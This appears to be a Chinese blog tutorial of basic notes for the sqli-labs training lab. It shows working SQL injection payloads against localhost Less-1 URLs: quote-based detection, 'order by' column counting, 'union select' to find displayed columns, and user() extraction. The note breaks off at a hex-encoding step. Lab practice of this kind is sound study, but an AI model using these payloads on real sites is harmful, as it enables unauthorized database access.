sqli-labs-master 前期知识点

时间:2021-09-19 00:56:40

1)、前期准备、知识点

开始之前,为了方便查看sql注入语句,我在sqli-labs-master网页源码php部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符

sqli-labs-master 前期知识点

一、Mysql 登录 

1、明文密码   在bin目录下 输入:mysql -u 账户 -p 密码

2、**密码  在bin目录下 输入:mysql -u 账户 -p 后回车再输入密码 

sqli-labs-master 前期知识点

 

二、注释符

--   --  # 都是SQL语句的注释符 ,sql语句运行到此结束。

 

三、and or 

  A and B A,B都Ture 结果才为Ture 

  A or B A,B 有一个Ture 结果就为Ture

 

四、limit

limit m,n :显示从m列开始 显示n行

 

五、 ?id=1  后加   ‘  

可以判断存在SQL漏洞,

例如:http://localhost/sqli-labs-master/Less-1/?id= 1‘or 1=1 --

sql语句:SELECT * FROM users WHERE id=‘ 1‘or 1=1 -- ‘ LIMIT 0,1

 

六、order by

order by n  : 查询结果根据第n列排序

order by 可判断数据表 列数

在尝试是N值折半测试

例:http://localhost/sqli-labs-master/Less-1/?id=1‘order by 3 --

SELECT * FROM users WHERE id=‘1‘order by 3 -- ‘ LIMIT 0,1

sqli-labs-master 前期知识点

sqli-labs-master 前期知识点

 

七、union 联合查询

在使用 order by 测试出列数后,使用 union 数字  查看回显信息,测试回显的哪几列,

错误示例:http://localhost/sqli-labs-master/Less-1/?id=1‘union select 1,2,3--

如图,在id值正确时 由于limit 0,1只能显示一行,回显结果无法做出正确判断

sqli-labs-master 前期知识点

正确示例:http://localhost/sqli-labs-master/Less-1/?id=-1‘union select 1,2,3--

如图,将id值设置为-1(即不存在值),结果回显为第2、3列

 sqli-labs-master 前期知识点

 

八、利用union 回显位置进行数据库查询 

例:http://localhost/sqli-labs-master/Less-1/?id=-1‘union select 1,2,user()--  

在回显位置 显示用户(select user()

sqli-labs-master 前期知识点

 

 九、‘ 部分 特殊字符部分转化为十六进制

注:在SQL注入时  如需 ‘ ‘ 单引号括住内容  尽量转化为16进制(0x 内容的十六进制)

方式如下:

sqli-labs-master 前期知识点